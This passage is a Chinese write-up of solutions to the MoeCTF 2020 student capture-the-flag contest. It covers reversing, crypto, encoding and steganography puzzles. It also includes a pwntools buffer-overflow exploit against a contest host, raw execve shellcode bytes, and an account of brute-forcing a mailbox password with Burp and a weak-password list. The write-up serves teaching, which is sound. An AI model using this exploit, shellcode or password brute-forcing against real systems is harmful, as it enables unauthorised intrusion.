0%

MoeCTF 2020 WriteUp

比赛介绍

MoeCTF是西安电子科技大学一年一度的信息安全新生夺旗赛, 由西电信息安全协会面向全体准大学生举办, 题目难度不高且坡度平缓, 比赛平台开设时间很长, 0基础新生可以通过本次比赛对信息安全夺旗赛(CTF)有一个基础且全面的认识, 中学参加过一些CTF比赛的准大学生们也可以通过本次比赛重温CTF赛事.

MoeCTF除了设有常规CTF比赛相关的分类之外也开设或有计划开设了算法编程类, 运维类, 旨在提供一个知识覆盖全面的做题环境, 同时帮助有过信息学竞赛经历的新生们更快转型.

MoeCTF的积分方式为最简单的静态积分方式, 选手解题并获取固定的分数, 不设动态积分, 不设一血加成, 选手即使在比赛进行时参赛也不必担心分数差距. 部分题目出题人可能提供题目奖励, 比赛本身无奖项. 比赛结束后平台会继续维护一周供各位选手复盘, 写题解. 西电新生们比赛结束后可能会要求提交题解, 作为西电信息安全协会(XDSEC)2020秋季招新的一个重要砝码. 欢迎大家前来参加比赛, 与各路极客同台竞技, 也欢迎新生们在比赛结束后加入XDSEC, 分享技术, 共同进步!

西电信息安全协会(XDSEC)是由08, 09级学长自发组建的学生组织, 面向全校各年级同学 ,期间多次与学校合作, 自行管理和发展至今. 协会资源丰富, 在信息安全领域口碑十分优秀. 协会以致力于技术分享与进步为宗旨, 秉承低调, 分享, 专注, 精进, 自由的精神, 旨在为我校热爱信息安全技术的同学建立一个氛围良好的交流平台, 扩大信息安全在我校的影响力.


目录

Re (8/15)

  1. 逆向工程入门指南(略)
  2. Welcome To Re
  3. Thank you Java
  4. SimpleRe
  5. Protection
  6. Real EasyPython
  7. RollCall
  8. RxEncode

Pwn (5/10)

  1. Welcome to pwn(略)
  2. Pwn从入门到入狱(略)
  3. Baby pwn
  4. Baby shellcode
  5. unusual shellcode

Algorithm (4/7)

  1. mess
  2. Frank,永远滴神
  3. 赤道企鹅,永远滴神
  4. 千层饼

Crypto (4/10)

  1. crypto入门指北(略)
  2. easycrypto
  3. rsa_begin
  4. stream

Misc (13/17)

  1. Welcome
  2. MD5
  3. base64
  4. hey fxck you!
  5. base64?¿
  6. Pseudo Encrypt
  7. 不 会 吧 ? 就 这 ¿
  8. Cor1e的支票
  9. A3FXCK
  10. ⑨的完美算数教室
  11. 停不下来了啊啊啊啊啊啊啊
  12. 星空
  13. 简单的社工题

Classic Crypto (6/6)

  1. 大帝的征程#1
  2. 大帝的征程#2
  3. 外面的世界
  4. 大帝的征程#3
  5. 大帝的征程#维吉尼亚
  6. 大帝的征程#维吉尼亚Ex

Web (11/11)

  1. GET
  2. POST
  3. 小饼干
  4. Introduction
  5. 一句话
  6. EzMath
  7. 三心二意
  8. 俄罗斯头套
  9. Moe include
  10. Moe unserialize
  11. EzXXE

Android (2/2)

  1. Click It!
  2. Baby Andriod

Sign in(略)(2/2)

DevOps (0/1)

IoT (0/1)


Re

感谢bb师傅在Re方面对我的指导。

==bb,yyds.==

02 Welcome To Re

解题思路

拖进IDA

02-01.png


03 Thank you JavaScript

shashasha.jpg

解题思路

Js代码去混淆

解题过程

利用Jspacker去混淆

03-01.png


04 SimpleRe

解题思路

IDA,盘它

解题过程

  • 主函数中调用enc函数,跟进

  • enc是一个加密函数,将处理后的明文与aim字符串对比,跟进aim

    04-01.png

  • 由于XOR可逆,直接复制enc的伪代码,稍作修改

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    #include<bits/stdc++.h>
    using namespace std;

    int main(){
    string a1 = "rpz|kydKw^qTl@Y/m2f/J-@o^k.,qkb";
    char out[50];
    signed int i4,i3,i2,i1,nn,mm,ll,kk,jj,ii,n,m,l,k,j,i;
    for ( i = 0; i <= 30; ++i )
    out[i] = a1[i] ^ 0x17;
    for ( j = 0; j <= 30; ++j )
    out[j] ^= 0x39u;
    for ( k = 0; k <= 30; ++k )
    out[k] ^= 0x4Bu;
    for ( l = 0; l <= 30; ++l )
    out[l] ^= 0x4Au;
    for ( m = 0; m <= 30; ++m )
    out[m] ^= 0x49u;
    for ( n = 0; n <= 30; ++n )
    out[n] ^= 0x26u;
    for ( ii = 0; ii <= 30; ++ii )
    out[ii] ^= 0x15u;
    for ( jj = 0; jj <= 30; ++jj )
    out[jj] ^= 0x61u;
    for ( kk = 0; kk <= 30; ++kk )
    out[kk] ^= 0x56u;
    for ( ll = 0; ll <= 30; ++ll )
    out[ll] ^= 0x1Bu;
    for ( mm = 0; mm <= 30; ++mm )
    out[mm] ^= 0x21u;
    for ( nn = 0; nn <= 30; ++nn )
    out[nn] ^= 0x40u;
    for ( i1 = 0; i1 <= 30; ++i1 )
    out[i1] ^= 0x57u;
    for ( i2 = 0; i2 <= 30; ++i2 )
    out[i2] ^= 0x2Eu;
    for ( i3 = 0; i3 <= 30; ++i3 )
    out[i3] ^= 0x49u;
    for ( i4 = 0; i4 <= 30; ++i4 )
    out[i4] ^= 0x37u;
    for(int i = 0; i <= 30; i ++)
    cout<<out[i];
    return 0;
    }

05 Protection

解题思路

查壳,脱壳

解题过程

  • 查壳:查到UPX壳

    05-01.png

  • 脱壳:利用UpxUnpacker脱壳

  • IDA,主函数查看伪代码,将输入字符与x中的字符XOR后与y中字符比对。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    #include<bits/stdc++.h>
    using namespace std;

    char y[50] = {0x0C,0x0,0x10,0x15,0x57,0x26,0x5A,0x23,0x40,0x40,0x3E,0x42,0x37,0x30,0x9,0x19,0x3,0x1D,0x50,0x43,0x7,0x57,0x15,0x7E,0x51,0x6D,0x43,0x57,0x0,0x0,0x0,0x0};
    string c = "aouv#@!V08asdozpnma&*#%!$^&*";
    int main(){
    for (int i = 0; i<=27; ++ i)
    cout << (c[i] ^ y[i]);
    return 0;
    }

06 Real EasyPython

解题思路

反编译pyc

解题过程

  • 利用uncompyle反编译pyc,得到py源码

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    #! /usr/bin/env python 3.7 (3394)
    # coding=utf-8
    # Compiled at: 1969-12-31 18:00:00
    key = [115, 76, 50, 116, 90, 50, 116, 90, 115, 110, 48, 47, 87, 48, 103, 50, 106, 126, 90, 48, 103, 116, 126, 90, 85, 126, 115, 110, 105, 104, 35]
    print('Input your flag: ', end='')
    flag = input()
    out = []
    for i in flag:
    out.append(ord(i) >> 4 ^ ord(i))
    if len(out) != len(key):
    print('TRY AGAIN!')
    exit()
    for i in range(len(out)):
    if out[i] != key[i]:
    print('TRY AGAIN!')
    exit()
    print('you are right! the flag is : moectf{%s}' % flag)
  • 解密脚本

    1
    2
    3
    4
    5
    6
    out = []
    key = [115, 76, 50, 116, 90, 50, 116, 90, 115, 110, 48, 47, 87, 48, 103, 50, 106, 126, 90, 48, 103, 116, 126, 90, 85, 126, 115, 110, 105, 104, 35]
    for i in key:
    out.append(i >> 4 ^ i)
    for i in out:
    print(chr(i), end='')

07 RollCall

解题思路

这不是一道Re 这是一道Misc(确信)

读取DB文件,修改性别为2

解题过程

下载一个sqlite数据库浏览器,打开,修改性别字段的数据为2.

启动程序即可得到flag

世界线#2

PEID查壳,查到.NET obf/license protector - for ver. < 5.0 - Unpack with : de4dot v3.1 2014 - http://github.com/0xd4d/de4dot

利用de4dot脱壳,之后用Reflector逆向,得到C#伪代码

找到了关键函数。(然后就不会了)


08 RxEncode

解题思路

换表base64

解题过程

IDA分析

  • main:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    *(_QWORD *)s2 = 0x4AD158FEB59C879ALL;
    v15 = 0xCBEBFDFA6CED0BFELL;
    v16 = 0x7A47A38E43A334E8LL;
    v17 = 4LL;
    v18 = 0;
    __isoc99_scanf("%33s", &s);
    s1 = (char *)RxEncode(&s, 33);
    if ( strlen(&s) == 32 )
    {
    if ( !strcmp(s1, s2) )
    v12 = std::operator<<<std::char_traits<char>>(&std::cout, "Congratulations!", v11);
    else
    v12 = std::operator<<<std::char_traits<char>>(&std::cout, "Wrong!", v11);
    std::ostream::operator<<(v12, &std::endl<char,std::char_traits<char>>);
    std::istream::get((std::istream *)&std::cin);
    std::istream::get((std::istream *)&std::cin);
    result = 0;
    }

    RxEncode(flag)应该就是s2。

    s2是用小端序存储的字符串,转换成大端序是\x9A\x87\x9C\xB5\xFE\x58\xD1\x4A\xFE\x0B\xED\x6C\xFA\xFD\xEB\xCB\xE8\x34\xA3\x43\x8E\xA3\x47\x7A

  • RxEncode:

    base64加密

  • find_pos:

    换表后的base64码ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz01234{}789+/

EXP

1
2
3
4
5
import base64

str1 = b'\x9A\x87\x9C\xB5\xFE\x58\xD1\x4A\xFE\x0B\xED\x6C\xFA\xFD\xEB\xCB\xE8\x34\xA3\x43\x8E\xA3\x47\x7A'
flag = str(base64.b64encode(str1)).replace('5', '{').replace('6', '}')
print(flag)

pwn

03 Baby pwn

解题思路

用backdoor的地址覆盖返回地址

解题过程

  • IDA读主函数

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    ; __unwind {
    push rbp
    mov rbp, rsp
    sub rsp, 50h
    mov [rbp+var_44], edi
    mov [rbp+var_50], rsi
    mov rax, cs:stdin@@GLIBC_2_2_5
    mov ecx, 0 ; n
    mov edx, 2 ; modes
    mov esi, 0 ; buf
    mov rdi, rax ; stream
    call _setvbuf
    mov rax, cs:__bss_start
    mov ecx, 0 ; n
    mov edx, 2 ; modes
    mov esi, 0 ; buf
    mov rdi, rax ; stream
    call _setvbuf
    mov edi, offset format ; "Tell me your name: "
    mov eax, 0
    call _printf
    lea rax, [rbp+var_40]
    mov rsi, rax
    mov edi, offset aS ; "%s"
    mov eax, 0
    call _scanf
    lea rax, [rbp+var_40]
    mov rsi, rax
    mov edi, offset aHelloS ; "Hello %s!"
    mov eax, 0
    call _printf
    mov eax, 0
    leave
    retn
    ; } // starts at 400687
    main endp

    发现程序为char4开了0x50的内存,而scanf没有输入限制。

  • 构造payload:

    1
    2
    3
    4
    5
    6
    7
    8
    from pwn import *

    p=remote("sec.eqqie.cn","10003")
    sys_dir=p64(0x400676)
    payload=b'A'*0x48+sys_dir
    p.recv()
    p.sendline(payload)
    p.interactive()

04 Baby shellcode

解题思路

上shell就完了

解题过程

  • IDA

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    public _start
    _start proc near
    xor eax, eax
    mov edx, 18h ; len
    mov ecx, offset msg ; addr
    mov ebx, 1 ; fd
    mov eax, 4
    int 80h ; LINUX - sys_write
    sub esp, 100h
    mov ebx, 0 ; fd
    mov ecx, esp ; addr
    mov edx, 100h ; len
    mov eax, 3
    int 80h ; LINUX - sys_read
    jmp esp
    _start endp

    sys_read可以读入0x100的数据

  • 在shell-strom找一个0x100以内的shellcode

    1
    \x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05

05 unusual shellcode

解题思路

纯数字字母shellcode

解题过程

  • IDA

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    for ( i = 0; i <= 4095; ++i )
    {
    v6 = read(0, &buf, 1uLL);
    if ( v6 == -1 )
    exit(0);
    if ( !isalnum(buf) )
    break;
    *((_BYTE *)v7 + i) = buf;
    }
    if ( mprotect((void *)(signed int)((unsigned int)v7 & 0xFFFFF000), 0x1000uLL, 7) == -1 )

    关键代码:if(!isalnum(buf))

    输入必须是纯数字字母

  • 利用alpha3生成纯数字字母shellcode


Algorithm

01 mess

解题思路

工具人解法(也挺快)

解题过程

删掉字母,手动分ascii码,ascii转字符工具


02 Frank, 永远滴神

解题思路

偷懒,省事,直接用工具

解题过程

image-20200921210117147.png


03 赤道企鹅, 永远滴神

解题思路

eqqie,yyds!

python脚本遍历目录&文件+条件判断

解题过程

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
# -*- coding:utf-8 -*-
import os

def walk(folder):
num = 0
for root, dirs, files in os.walk(folder):
if files:
for file in files:
num += find(os.path.join(root, file).encode('utf-8'))
return num

def find(path):
count = 0
with open(path) as f:
content = f.readline()
if content[:8] == 'EqqieNB!': # EqqieNB!
last_is = 0 # 0->符号,1->字母,数字
for each in content[8:]:
if 'a' <= each <= 'z' or 'A' <= each <= 'Z' or '0' <= each <= '9':
if last_is == 0:
count += 1
last_is = 1
else:
last_is = 0
return count

print(walk('puzzle'))
print("\033[1;35mDo U know that EqqieNB?'\033[0m")


04 千层饼

解题思路

手撕 半自动脚本

后来写了全自动脚本

解题过程

  • 查看py脚本,eqqie_is_god前面的是用base16/base32/base64/base85/ascii85其中一种编码后的0-4之间的数字。

  • 写一个半自动 手动 脚本,手动提取eqqie_is_god之前的字符,解码。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    from base64 import *

    alg = [b16decode, b32decode, b64decode, a85decode, b85decode]
    a = int(input('Input encrypt method:'))
    with open('flag.txt', 'r') as fi:
    origin = fi.read()
    sb = bytes(origin, encoding = "utf8")
    with open('flag.txt', 'w') as fo:
    decoded = alg[a](sb)
    bs = str(decoded, encoding = "utf8")
    fo.write(bs)

世界线2

后来觉得这解法可能不(yao)(bei)(gao),写了另一个自动脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
from base64 import *

alg_encode = [b16encode, b32encode, b64encode, a85encode, b85encode]
alg_decode = [b16decode, b32decode, b64decode, a85decode, b85decode]
dict = {}

def get_dict():
for i in range(5):
for j in range(5):
dict[alg_encode[i](str(j).encode())] = j

with open('puzzle.txt', 'r') as fi:
flag = fi.read()
get_dict()
eqqie = 0
while 'eqqie_is_god' in flag:
pos = flag.index('eqqie_is_god')
print('[+]Eqqie told you the encode method:', alg_decode[int(dict[flag[:pos].encode()])])
flag = alg_decode[int(dict[flag[:pos].encode()])](flag[pos + 12:]).decode()
eqqie = eqqie + 1
print('[+]This is the', eqqie, 'time(s) that eqqie told you the encode method')
print('[!]Eqqie gives you the flag:', flag)

Crypto

02 easycrypto

解题思路

啊这

解题过程

1
2
3
4
5
6
7
8
9
10
11
12
13
#include<bits/stdc++.h>
using namespace std;

int solve(int m){
for(int i=1;i<=200;i++)
if(5*pow(i,2)+6*i-8 == m) cout<< (char)i;
}

int main(){
int flag[]={60051,62263,51603,49591,67968,52624,76375,38359,51603,58960,49591,62263,60051,51603,45687,67968,62263,45687,22839,65656,73923,63384,67968,62263,78867};
for(int i=0;i<sizeof(flag);i++) solve(flag[i]);
return 0;
}

03 ras_begin

解题思路

脚本

解题过程

1
2
3
4
5
6
7
8
9
10
11
from gmpy2 import *
from Crypto.Util.number import *

c = 12786994906832886031173089454539830225421640443805160963440942546071910322282773910135388020414967368794768319321460372875327006020157548651622969466323905189761834455201291838045352561790791600881627927594863932384116760236609096504346833060291203939690475993692410973499329433726175351882818053841075210942250478835641657575946226612389154039920962506062857726362447590070697348315291411570674334126096132112365825105842643843896421848410966564321518660727994853036555116782763422065173850238826345797198901647320210828033061322523971939726188821545177029535860881611210887039411052848607563035583276075332653567834
n = 21295111652177049852547386222656846645616549922902112221240647622752994625687294739828756977846793220378085163155773051922086862363248151399852421844018730199066331944608000906761112010951655369036878807145188296884981895884278542857120225505310980291226351653588799242142355376939447934804833830853036785704513557039806761305316841740131204576974408869765714675230132247412774215945663807730855436503625577606009921411947891570324777735323489304604987902364932089976811865007609745513534209603256719511305317200247134396733168695387708420206468160279271453425776388025425790010391137010735121696446552257334341187063
p = 161719691876167304386300539654699854745688262478039691942271426308613132466937889105173933022986654040443219708318126579048996288583272346602042650222520127626611975688909019632479930508343350314542889627461529623000987307169157443265879212155437165660477850241678385286601587538517091605374764970915451201471
q = 131679150542057883837006988923642169851011066771905140540444762603374903776910595387305441746623070810587630852182725227845916400198693359271062585498062084740896090668288333576457754165324164735966791029516030696195703650691726650990903496820364700241229117883279657833543807874786274886417501405960125022153
e = 0x10001
d = invert(e, (p - 1) * (q - 1))
m = pow(c, d, n)
print(long_to_bytes(m))

Misc

01 Welcome

image-20200922130546632.png


02 MD5

解题过程

image-20200922130720705.png

这么臭的题,有必要做吗???


03 base64

解题过程

image-20200922130953267.png


04 hey fxck you!

解题过程

  • 拿到图片,hex查看发现zip头

    image-20200922132548726.png

  • foremost分离,解压后拿到fk u.txt

    1
    ++++++++[>>++>++++>++++++>++++++++>++++++++++>++++++++++++>++++++++++++++>++++++++++++++++>++++++++++++++++++>++++++++++++++++++++>++++++++++++++++++++++>++++++++++++++++++++++++>++++++++++++++++++++++++++>++++++++++++++++++++++++++++>++++++++++++++++++++++++++++++<<<<<<<<<<<<<<<<-]>>>>>>>>---.++.<+++++.--.>+++++.<+++.>>-----.--.<<-.>-.<<<<<+.>>>>>>.<<.>.<<<<<.>>>>+.+++++.------------.<+++++.>.<<<++.<.>>>>>>++++.
  • brainfuck解码获得flag


05 base64?¿

解题过程

  • 开提示,看到是个换表的base64

    image-20200922130953267.png


06 Puesudo Encryption

解题过程

  • Hex查看,发现只有zip尾,缺了头。加上。

    image-20200922133749927.png

  • 解压后,拿到图片。eqqie,tql

    flag.jpg

  • Hex查看,文件最后有一串base64编码,解码,拿到flag

    image-20200922134136368.png


07 不 会 吧 ? 就 这 ¿

解题过程

  • Hex查看图片,发现zip头,foremost分离压缩包。解压得到txt

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    不会吧? 就这¿ 不会吧? 就这¿ 
    就这¿ 就这¿ 就这¿ 就这¿ 不会吧? 不会吧? 就这¿ 就这¿
    不会吧? 就这¿ 不会吧? 就这¿ 不会吧? 不会吧? 不会吧? 就这¿
    不会吧? 不会吧? 不会吧? 不会吧? 不会吧? 就这¿ 不会吧? 就这¿
    不会吧? 不会吧? 不会吧? 就这¿ 不会吧? 不会吧? 不会吧? 就这¿
    就这¿ 就这¿ 就这¿ 不会吧? 就这¿ 不会吧? 不会吧? 就这¿
    就这¿ 就这¿ 不会吧? 就这¿ 不会吧? 不会吧? 就这¿ 就这¿
    就这¿ 就这¿ 不会吧? 就这¿ 不会吧? 不会吧? 不会吧? 就这¿
    不会吧? 不会吧? 不会吧? 不会吧? 不会吧? 不会吧? 就这¿ 就这¿
    不会吧? 就这¿ 不会吧? 不会吧? 就这¿ 不会吧? 就这¿ 就这¿
    就这¿ 就这¿ 就这¿ 就这¿ 不会吧? 不会吧? 就这¿ 就这¿
    就这¿ 不会吧? 不会吧? 不会吧? 就这¿ 不会吧? 不会吧? 就这¿
    不会吧? 就这¿ 就这¿ 就这¿ 不会吧? 不会吧? 就这¿ 就这¿
    不会吧? 就这¿ 就这¿ 不会吧? 不会吧? 不会吧? 不会吧? 就这¿
    不会吧? 不会吧? 不会吧? 不会吧? 不会吧? 就这¿ 不会吧? 就这¿
    就这¿ 就这¿ 不会吧? 就这¿ 不会吧? 不会吧? 不会吧? 就这¿
    就这¿ 就这¿ 就这¿ 不会吧? 就这¿ 不会吧? 不会吧? 就这¿
    不会吧? 就这¿ 就这¿ 就这¿ 不会吧? 不会吧? 就这¿ 就这¿
    不会吧? 不会吧? 就这¿ 就这¿ 不会吧? 就这¿ 不会吧? 就这¿
    不会吧? 不会吧? 不会吧? 不会吧? 不会吧? 不会吧? 就这¿ 就这¿
  • 就这¿ 替换为0,将不会吧?替换为1,然后倒置,2进制转10进制,ascii码转字符,拿到flag。


08 Cor1e的支票

解题过程

1
。。。。。。。。。。。。。。。。。。。。!?!!。?。。。。。。。。。。。。。。。。。。。。?。?!。?。。。。。。。。。。。。。。。。。。!。。。。。!。?。。。。。。。!?!!。?!!!!!!?。?!。?!!!。!!!!!。?。。。。。。。。。!?!!。?。。。。。。。。?。?!。?。。!。?。。。。。。。!?!!。?!!!!!!?。?!。?!!!!!!!!!!!。?。。。。。。。。。!?!!。?。。。。。。。。?。?!。?。。。。。。。。。。!。?。。。。。。。。。!?!!。?!!!!!!!!?。?!。?!!!!!!!!!!!!!!!!!。?。。。。。。。!?!!。?。。。。。。?。?!。?。。。。。。!。。。。。。。!。?。。。。。。。。。。。。。。。。。!?!!。?!!!!!!!!!!!!!!!!?。?!。?!!!。?。。。。。。。。。。。。。。。!?!!。?。。。。。。。。。。。。。。?。?!。?。。。。。。!。!!!!!!!!!!!!!。?。。。。。。。。。。。!?!!。?!!!!!!!!!!?。?!。?!!!!!!!!!!!。?。。。。。。。。。。。。。!?!!。?。。。。。。。。。。。。?。?!。?。。。。。。。。。。。。。。。。。。!。?。。。。。。。。。。。。。!?!!。?!!!!!!!!!!!!?。?!。?!!!!!!!!!!!!!。?。。。。。。。。。。。!?!!。?。。。。。。。。。。?。?!。?。。。。!。。。。。。。。。。。。。!。?。。。。。。。。。。。。。。。!?!!。?!!!!!!!!!!!!!!?。?!。?!!!。?。。。。。。。。。。。。。。。!?!!。?。。。。。。。。。。。。。。?。?!。?。。。。。。。。。。。。。。。。。。。。。。。。。。!。!!!!!!!!!!!!!!!!!。!!!!!!!!!。!!!!!!!!!!!!!。?。。。。。。。。。。。。。!?!!。?!!!!!!!!!!!!?。?!。?!!!!!!!!!!!!!!!!!!!!!。?。。。。。。。。。。。。。。。。。!?!!。?。。。。。。。。。。。。。。。。?。?!。?。。。。!。?。。。。。。。。。!?!!。?!!!!!!!!?。?!。?!!!!!!!!!。?。。。。。。。。。。。!?!!。?!!!!!!!!!!?。?!。?!!!!!!!。?。。。。。。。!?!!。?。。。。。。?。?!。?。。。。。。。。!。?。。。。。。。。。。。。。!?!!。?。。。。。。。。。。。。?。?!。?。。。。。。。。。。。。。。。。。。!。?。
  • 替换:。-> Ook. ! -> Ook! ? -> Ook?
  • 在线Ook解密,得到flag

09 A3FXCK

“luoq1an向arttnba3推荐了世界上最优秀的语言Javascript,但对于实在是不精通编程的他来说,这无疑是一场灾难…”

解题过程

1
2
123456[]()+!
luoq1an recommended a new language to arttnba3 and the following text is the first programme written by him but something may not be right...
  • 先将luoqian和arttnba全部去除。在按照提示,将123456分别替换为+!
  • Jsfuck解码,得到flag

10 ⑨的完美教室

解题思路

1 + 1 = 9
2 + 3 = 9
0 + 0 = 9
arttnba3 + arttnba3 = 9
$e^{\pi\cdot i}=9$

解题过程

手撕

image-20200922141816210.png

正解

python pwntools脚本


11 停不下来了啊啊啊啊啊啊啊

解题过程

  • FFMPEG黑场帧检测

    1
    ffmpeg -loglevel info  -i ~/test.mp4  -vf blackframe=95:30 -f null -
  • vegas跳转到对应帧,拿到flag

世界线2

用vegas将视频的全部帧dump出来,做一张纯黑图片,查找相似图片。


12 星空

解题过程

  • 图片拼接

image-20200922143250005.png

  • 利用gaps自动拼图。

    image-20200922143348356.png


13 简 单 的社工题

简单的社工尝试!你能找到隐藏的moectf的flag吗?
提示:百度贴吧
使用手机版贴吧寻找第一步的信息
flag格式:moectf{flag内容}

解题过程

  • 手机版贴吧搜索moectf吧。

    Screenshot_2020-09-26-16-34-46-415_com.baidu.tieb.jpg

  • 查看关注的人,惊现arttnba小号

    Screenshot_2020-09-26-16-34-52-748_com.baidu.tieb.jpg

  • 查看arttnba关注的吧

    Screenshot_2020-09-26-16-34-57-959_com.baidu.tieb.jpg

  • 按照提示,进入公邮

    image-20200926163820736.png

  • 用Burp+Top100弱口令字典爆破密码。密码是a123456

  • 查看管理员发送的通知,一看就是百度网盘分享链接和密码。访问之。

    image-20200926163943535.png

    • txt文件里有base64编码的flagbW9lY3RmJTdCdzB3X1kwdV9jNG5fZjFuZF9tM19vdVQlMjElN0Q=

Classical Crypto

01 大帝的征程#1

rot13,ord(‘z’) - ord(‘m’) = 13


02 大帝的征程#2

手撕

有数字的维吉尼亚加密,table就是key

这题的坑点是。。。符号也占一位key


03 外面的世界

手撕

m c { i 3 3 n y _ - n ~
o t R 1 n _ c p 1 F N }
e f a F c 3 2 T s u y

moectf{Rai1F3nc3_3nc2ypt_1s-Fuuny~}


04 大帝的征程#3

换表凯撒加密,表里有哪些字符不(lan)好(de)猜(shi),直接爆破

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
a = '>@64E7L4_?BF6C0E9b0)s$trN'
b = 'moectf{'

'''
for i in range(len(b)):
print(ord(b[i])-ord(a[i]), end=' ')
'''

for i in range(0, 200):
for j in a:
o = ord(j)+47
if o > ord('}'):
print(chr(o - i), end='')
else:
print(chr(o), end='')
print('')

image-20200922152504134.png


05 大帝的征程#维吉尼亚

爆破猜解密码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
a = 'pgieqi'
b = 'moectf'
c = 'pgieqi{k0_ajxW_k-R3zq?}'
d = ['{', '_', '-', '?', '}', '0', '3', ]

table = [3, -8, 4, 2, -3, ]
count = -1

for j in range(0, 200):
for i in range(len(c)):
if c[i] in d:
print(c[i], end='')
else:
count += 1
print(chr(ord(c[i]) - table[count % 5]), end='')

06 大帝的征程#维吉尼亚Ex

自动爆破 脚本是嫖来的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
#include<bits/stdc++.h>
using namespace std;

/*
重合指数差,与我们的标准重合指数的差值越小越好
*/
struct Node{
float value;
int length;
};

/*
存放key可能的长度和重合指数差
*/
vector< Node > key;

/*
存放key可能的长度
*/
set< int > key_len;

/*
英文字母使用频率表
*/
double g[]={0.08167, 0.01492, 0.02782, 0.04253, 0.12702, 0.02228, 0.02015, 0.06094, 0.06966, 0.00153, 0.00772, 0.04025,0.02406, 0.06749, 0.07507, 0.01929, 0.00095, 0.05987, 0.06327, 0.09056, 0.02758, 0.00978, 0.02360, 0.00150,0.01974, 0.00074};

bool Greater_sort(Node a,Node b){
return a.value < b.value;
}

/*
Coincidence_index,计算所选分组的重合指数
start表示分组的起点,length表示步长
重合指数CI的实际估计值是X(i)=F(i)*(F(i)-1)/sum*(sum-1)
('a'<=i<='z',F(i)为i字符在当前分组出现的次数)
对上述X(i)求和就是整个分组的重合指数CI
*/
float Coincidence_index(string cipher, int start, int length){
float index = 0.000;
int sum = 0;
int num[26];
memset(num, 0, sizeof(num));
while(start <= cipher.length()){
num[cipher[start] - 'a'] ++;
start += length;
sum ++;
}
for(int i = 0; i < 26; i ++){
if(num[i] <= 1) continue;
index += (float)(num[i] * (num[i] - 1)) / (float)((sum) * (sum - 1));
}
return index;
}

/*
Find_same()函数即是根据 kasiski测试法的原理
可以获取key可能的长度
*/
void Find_same(string cipher){
for(int i = 3; i < 5; i ++){
for(int j = 0; j < cipher.length() - i; j ++){
string p = cipher.substr(j, i);
for(int k = j + i; k < cipher.length() - i; k ++){
string tmp = cipher.substr(k, i);
if(tmp == p){
Node x;
x.length = k - j;
key.push_back(x);
}
}
}
}
}

int gcd(int a,int b){
if(b == 0){
return a;
}
else{
return gcd(b, a % b);
}
}

/*
求出可能的key的值的最大公因子
经过重合指数检验,对key的长度进行排序
*/
void Get_key(string cipher){
Find_same(cipher);
for(int i = 0; i < key.size(); i ++){
int x = key[i].length;
for(int j = 0; j < key.size(); j ++){
if(key[i].length > key[j].length)
key_len.insert(gcd(key[i].length,key[j].length));
else
key_len.insert(gcd(key[j].length,key[i].length));
}
}
key.clear();
set< int >::iterator it = key_len.begin();
while(it != key_len.end()){
int length = *it;
if(length == 1){
it ++;
continue;
}
float sum = 0.000;
cout<< length<< " ";
for(int i = 0; i < length; i ++){
cout<< Coincidence_index(cipher, i, length)<< " ";
sum += Coincidence_index(cipher, i, length);
}
cout<< endl;
Node x;
x.length = length;
x.value = (float)fabsf(0.065 - (float)(sum / (float)length));
if(x.value <= 0.1)
key.push_back(x);
it ++;
}
sort(key.begin(), key.end(), Greater_sort);
}

/*
为了提高解密的成功率,取前面10个公因子进行求解
对每个公因子的每个分子进行字母的拟重合指数分析
由Chi测试(卡方检验),获取峰值点
该峰值点极有可能是明文
*/
void Get_ans(string cipher){
int lss = 0;
while(lss < key.size() && lss < 10){
Node x = key[lss];
int ans[cipher.length()];
memset(ans, 0, sizeof(ans));
map< char, int > mp;
for(int i = 0; i < x.length; i ++){
double max_pg = 0.000;
for(int k = 0; k < 26; k ++){
mp.clear();
double pg = 0.000;
int sum = 0;
for(int j = i; j < cipher.length(); j += x.length){
char c=(char)((cipher[j] - 'a' + k) % 26 + 'a');
mp[c] ++;
sum ++;
}
for(char j = 'a'; j <= 'z'; j ++)
pg += ((double)mp[j] / (double)sum) * g[j - 'a'];
if(pg > max_pg){
ans[i] = k;
max_pg = pg;
}
}
}
cout<< endl<< endl<< "[!]Key length: "<< endl<< x.length<< endl<< "[!]Probable key: "<< endl;
for(int i = 0; i < x.length; i ++)
cout<< (char)((26 - ans[i]) % 26 + 'a')<< " ";
cout<< endl<< "[!]Clear text:"<< endl;
